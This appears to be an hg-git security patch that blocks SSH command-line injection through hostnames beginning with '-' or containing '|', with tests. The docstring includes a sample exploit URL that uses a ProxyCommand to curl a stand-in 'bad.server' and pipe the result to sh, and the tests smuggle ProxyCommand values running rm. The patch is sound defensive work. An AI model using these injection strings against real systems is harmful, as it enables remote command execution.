# HG changeset patch # User Sean Farley # Date 1501882497 25200 # Node ID b4d2180739bbb8d1f0ae78c6f6119c15848b0144 # Parent c96bf9e61598c6e9ed26f726bae24ac7bcc404f1 ssh: avoid SSH command-line injection [SEC] diff --git a/hggit/git_handler.py b/hggit/git_handler.py --- a/hggit/git_handler.py +++ b/hggit/git_handler.py @@ -1675,10 +1675,11 @@ git_match = RE_GIT_URI.match(uri) if git_match: res = git_match.groupdict() + host, port, sepr = res['host'], res['port'], res['sepr'] transport = client.TCPGitClient if 'ssh' in res['scheme']: + util.checksafessh(host) transport = client.SSHGitClient - host, port, sepr = res['host'], res['port'], res['sepr'] path = res['path'] if sepr == '/' and not path.startswith('~'): path = '/' + path diff --git a/hggit/util.py b/hggit/util.py --- a/hggit/util.py +++ b/hggit/util.py @@ -1,6 +1,7 @@ """Compatibility functions for old Mercurial versions and other utility functions.""" import re +import urllib try: from collections import OrderedDict @@ -8,7 +9,10 @@ from ordereddict import OrderedDict from dulwich import errors +from mercurial.i18n import _ from mercurial import ( + encoding, + error, lock as lockmod, util as hgutil, ) @@ -119,3 +123,18 @@ tr.close() finally: lockmod.release(tr, lock, wlock) + +def checksafessh(host): + """check if a hostname is a potentially unsafe ssh exploit (SEC) + + This is a sanity check for ssh urls. ssh will parse the first item as + an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. + Let's prevent these potentially exploited urls entirely and warn the + user. + + Raises an error.Abort when the url is unsafe. + """ + host = urllib.unquote(host) + if host.startswith('-') or '|' in host: + raise error.Abort(_('potentially unsafe hostname: %r') % + (host,)) diff --git a/tests/test-git-clone.t b/tests/test-git-clone.t --- a/tests/test-git-clone.t +++ b/tests/test-git-clone.t @@ -36,3 +36,18 @@ * master 1:7fe02317c63d $ hg -R hgrepo gverify verifying rev 7fe02317c63d against git commit 9497a4ee62e16ee641860d7677cdb2589ea15554 + +test for ssh vulnerability + + $ hg clone 'git+ssh://-oProxyCommand=rm${IFS}nonexistent/path' | grep -v 'destination\|pulling from' + abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent' + [1] + $ hg clone 'git+ssh://%2DoProxyCommand=rm${IFS}nonexistent/path' | grep -v 'destination\|pulling from' + abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent' + [1] + + $ hg init a + $ cd a + $ hg pull 'git+ssh://-oProxyCommand=rm${IFS}nonexistent/path' | grep -v 'destination\|pulling from' + abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent' + [1]